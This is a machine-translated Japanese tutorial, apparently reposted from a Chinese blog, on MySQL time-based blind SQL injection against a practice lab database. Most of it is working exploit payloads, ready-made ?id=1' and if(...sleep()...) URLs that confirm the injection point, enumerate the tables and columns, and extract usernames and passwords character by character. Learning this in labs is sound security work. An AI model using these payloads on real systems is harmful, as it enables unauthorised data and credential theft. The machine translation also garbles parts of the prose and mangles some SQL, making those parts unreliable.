MySQL インジェクション - ブラインド インジェクション - タイム ブラインド インジェクション

#タイムブラインド

タイムブラインド:

Web インターフェイスは、通常のインターフェイスを返すだけです。さまざまなページ応答時間を使用して、データに注入ポイントがあるかどうかを徐々に推測します。

使用シーン:

                 1. インターフェイスがエコーしない

                 2. インターフェイスにエラー メッセージが表示されない

                 3. インターフェイスには true 値と false 値がありません

例: ページにエコーがある場合、ユニオン インジェクションを優先します。エコーはなく、エラー メッセージがある場合は、エラー インジェクション (extracvalue、floor、updatexml など) を使用します。エコーやエラー メッセージは表示されないが、ページに true 値と false 値の 2 つの切り替え状態がある場合、入力したコードのフィードバック結果に応じてブール ブラインド インジェクションを選択できます。上記のいずれでもない場合は、タイム インジェクションを使用できます

#キー機能紹介

1.スリープ()

 Sleep() パラメータは秒単位のスリープ時間で、10 進数にすることができます

最初にパラメーター?id=1 を書き込みます

通常ページ

後ろにランダムな混乱を書きます、ページはまだ正常です

どう書いても普通です。一般的に、実際の状況では、さまざまなクローズドジャッジメントまたはその他のジャッジメントを使用し、他のページは何があっても正常です。

現時点では、彼に注射ポイントがあるかどうかわからないため、1 つずつ試すしかありません。


sleep() で番号を試す

url:id=1 および sleep(5)

デジタルであると仮定すると、関数と sleep(5) を最初に使用します. ページを返すのにかかる時間が 5 秒後に読み込まれたページである場合、それがデジタルであることが証明され、再度注入されます。彼は私たちがタイプしたことをしたからです。

インターフェイスから、5 秒遅れて結果を返さなかったことがわかります。

char try に sleep() を使用する

文字列を最初に"試してみる

url:id=1" と sleep(5) --+

遅延なし

文字列秒'試行

url:?id=1' と sleep(5) --+

 ページは 6038 ミリ秒で返されました

1000 ミリ秒の独自のインターネット速度

5 秒の遅延の後、注入ポイントがあると判断されます

SQLインジェクションポイントの存在を判断するために、私たちがステートメントを入力し、彼がそれを実行したことを意味します

2.IF()関数

IF(condition, ture, false): condition は条件、ture は条件が true の場合の戻り値、false は条件が false の場合の戻り値

Select if(1,2,3);
select if(1=1,sleep(0),sleep(3));
如果1=1这个条件为真的话,那么就执行sleep(0)。如果1=1为假的话那么就执行sleep(3)

まず、最初のパラメーターはサイズの比較です.ブールブラインドインジェクションでは、サイズを比較する方法を使用して、ページの true 値と false 値の 2 つの切り替え状態を比較して、私たちの条件は真実です。だから今私たちは使用することができます

sleep()関数の応答時間は、条件が真かどうかを判断するために使用されます。

#ケースデモ

1. 数字か文字かの判断 文字の場合は締め方の判断と注入箇所の有無の判断

再生負荷 :

そしてスリープ(5);

url:?id=1'と sleep(5) --+

 5 秒の遅延の後、注入ポイントがあると判断されます

' 単一引用符を使用して閉じます

2. データベース名の長さを決定する

プレイロード

および if(length(database())>=10,sleep(0),sleep(3))

使用機能

長さ (): 長さ

database(): 使用されているデータベース

url:?id=1' かつ if(length(database())>=10,sleep(0),sleep(3)) --+

データベースの長さが 10 文字を超えているか、10 文字を待っているかを判断します。0 秒を超える場合は、結果が返されます。10 文字を超えない場合は、3 秒後に結果が返されます。

ページの状況、3 秒間停止し、10 未満であることを示し、その後、そのデータ名が 10 文字以内であることを示します

URL:

?id=1' if(length(データベース())=8,sleep(0),sleep(3)) --+

 ページ エコー時間は 1031 秒、データ名が 8 文字であることを確認するための遅延はありません

3. データベース名を決定する

プレイロード

および if(Ord(Substr(database(),1,1))>=x,sleep(0),sleep(3))

使用機能

if(1,2,3): 判定文、1が条件、条件が真の場合、2のパラメータを実行。1 が false の場合、3 のパラメーターを実行します

ord(): 括弧内の内容を ASCII コードに変換します

substr(s,n,1) は、文字列 s をインターセプトし、n の位置から開始して、1 文字の長さを取得します

 データベース名の最初の文字を決定する

url:?id=1' および if(ord(substr(database(),1,1))>=100,sleep(0),sleep(3)) --+

データベース名の最初の文字を横取りし、100より大きいかどうかを判定します。100より大きい場合、ページは0秒間一時停止し、ページに戻ります

 100 を超えるページ読み込み時間によって決定

 110 を超えるページ読み込み時間によって決定

.......

ページ時間によって決定される、最初の文字のASCIIコード値は115です

コード表との比較

115=秒

上記の結論文字はsです

 データベース名の 2 番目の文字を決定します

?id=1' かつ if(ord(substr(database(), 2 ,1))=101,sleep(0),sleep(3))--+

時間の判断により、2文字目のアスキーコードは101と判明

コード表との比較

101=エ

上記の結論の 2 文字は e

....... 次の内容を自分で試してみてください。substr() の 2 番目のパラメーターを変更するだけです。

セキュリティとしてデータベース名を確定する

4. データテーブル情報を取得する

4.1 連結されたすべてのデータ テーブル名の文字列の長さを取得する

プレイロード

および if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=x,sleep(0),sleep(3))

 URL:

?id=1'and if(length((select group_concat(table_name) from 20 information_schema.tables where table_schema=database()))=29,sleep(0),sleep(3)) --+

連結データ テーブル名の文字列長が 29 であるかどうかを判断する

 時間応答判定により、データ名テーブル名は29文字と決定

4.2 データテーブル名文字列のすべての文字を推測する

プレイロード

および if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),n,1))>=100,sleep(0),sleep(3))

データ テーブルの最初の文字をクエリする

URL:

?id=1'and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>= 110 , sleep (0),sleep(3))- -+

データ テーブルの最初の文字が 110 より大きいかどうかを判断する

 応答時間によって決定され、110 以下

URL:

?id=1'and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>= 100 , sleep (0),sleep(3))- -+

データ テーブル名の最初の文字が 100 より大きいかどうかを判断する

 

100以上110未満はページレスポンスの時間差で決まるので、100~110の間ということになります

URL:

?id=1'and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) =101 , sleep (0),sleep(3))-- +

時間応答から、データ テーブル名の最初の文字の ASCII 値が 101 であることを確認します。

アスキー コード テーブルを使用してクエリを実行する

101 は結果を e に変換します

データ テーブルの最初の文字が e であることを確認します

データ テーブルの 2 番目の文字をクエリする

?id=1' および if(ord(substr((select group_concat(table_name) from information_schema.tables where table_name=database()), 2 ,1))>100,sleep(0),sleep(3)) -- +

データ テーブルの 2 番目の文字が 100 より大きいかどうかを判断する

時差で判断すると100以上

URL:

?id=1' および if(ord(substr((select group_concat(table_name) from information_schema.tables where table_name=database()), 2 ,1))>=110,sleep(0),sleep(3)) - -+

 応答時間から判断すると、110 を超えていません

2 番目の文字が 100 ~ 110 であることを確認してください

100~110まで1つずつテスト

URL:

?id=1'and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), 2 ,1))= 109 ,sleep(0),sleep(3))-- +

 

時間応答から、データ テーブル名の最初の文字の ASCII 値が 109 であることを確認します。

アスキー コード テーブルを使用してクエリを実行する

109 換算結果はm

データ テーブルの 2 番目の文字が m であることを確認してください

...................................

同じ手順で、substr() の 2 番目のパラメーターを置き換えるだけです

すべての最終的なデータ テーブルは、

メール、

リファラー、

エージェント、

ユーザー

 

5. users データ テーブルのすべてのフィールド情報を照会する

5.1 すべてのフィールド名を連結した文字列の長さを取得する

プレイロード

および if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>= n ,sleep(0),sleep(3))

URL:

?id=1' および if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=20,sleep(0),sleep(3)) -- +

連結されたフィールド名が 20 文字を超えているかどうかを判断する

ページの時間をこまめにチェックして判断し、20文字以上であることを確認する

url:

?id=1' および if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=30,sleep(0),sleep(3)) -- +

ページ時間の応答から判断すると、文字数は 30 以下です

フィールド名は 20 ~ 30 文字と推定されます

URL:

?id=1' および if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20,sleep(0),sleep(3)) --+

ページ時間の差から判断して、フィールドの長さは 20 文字列であると判断します

5.2 つなぎ合わせたフィールド文字の判定 (つなぎ合わせたフィールドが形成する文字列の各文字を推測する)

軽い負荷

および if(ord(substr((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='数据表'),n,1))>=x,sleep(0),sleep(3) )

 ?id=1'and if(ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=110,sleep(0),スリープ(3)) --+

連結フィールド名の最初の文字が 110 より大きいかどうかを判別します

 ページの時間差から判断すると、110 を超えない

URL: 

?id=1'and if(ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=100,sleep(0),スリープ(3)) --+

 ページ時間の差から判断すると、最初の文字は 100 より大きいが 110 より小さい

100~110の間

URL:

?id=1'and if(ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))= 105 ,sleep(0) , sleep (3)) --+

タイムレスポンスで判断すると1文字目は105

コード表で比較

105=私

…………

同じテスト方法は後で同じです。substr(1,2,3) の 2 番目のパラメーターを変更するだけです。

以下はすべてのフィールドです

 ID、

ユーザー名、

パスワード

6.ライブラリをドラッグ

1. フィールドの長さを決定します (文字列に連結されたユーザー名フィールドとパスワード フィールドの合計の長さを取得します)。

プレイロード

?id=1'and if(LENGTH((SELECT GROUP_CONCAT(field 1,'--',p field 2) FROM database.data テーブル))>=x,sleep(0),sleep(3))

 ?id=1'and if(LENGTH((SELECT GROUP_CONCAT(username,'--',password) FROM security.users))=201,sleep(0),sleep(3))--+

基本応答時間が決定され、フィールド長によるフィールド情報の長さは 201 文字です。

2. フィールド名のデータの各文字を当てます

プレイロード

および if( ORD(SUBSTR((SELECT GROUP_CONCAT(field 1,'--',field) from database.data テーブル),n,1))>=x,sleep(0),sleep(3))

 ?id=1'and if( ORD(SUBSTR((SELECT GROUP_CONCAT(username,'--',password) from security.users),1,1))=68,sleep(0),sleep(3))- -+

応答時間から判断すると、最初の文字のアスキー コードは 68 です。

68=D

................................................................... ...............

以下は判断する方法です。さようならが多すぎます。テストしたくありません。好奇心旺盛な赤ちゃんがいる場合は、sqlmap に移動して実行します。

おすすめ

転載: blog.csdn.net/m0_72755466/article/details/129828796